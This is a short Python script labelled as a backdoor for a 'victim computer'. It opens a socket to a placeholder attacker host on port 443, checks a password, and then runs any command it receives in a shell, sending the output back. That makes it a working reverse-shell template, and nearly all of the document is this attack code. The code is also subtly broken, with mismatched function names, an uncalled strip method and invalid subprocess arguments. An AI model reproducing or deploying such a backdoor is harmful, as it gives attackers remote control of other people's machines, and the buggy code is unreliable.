Create back_door (VICTIM COMPUTER)

import subprocess
import socket

host = "(ATTACKING COMPUTER)"
port = 443
passwd = "(ANYTHING)"

def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        Login()
    else:
        s.send("connected#> ")

def shell():
    while True:
        data = s.recv(1024)

        if data.strip == ":kill":
            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
Login()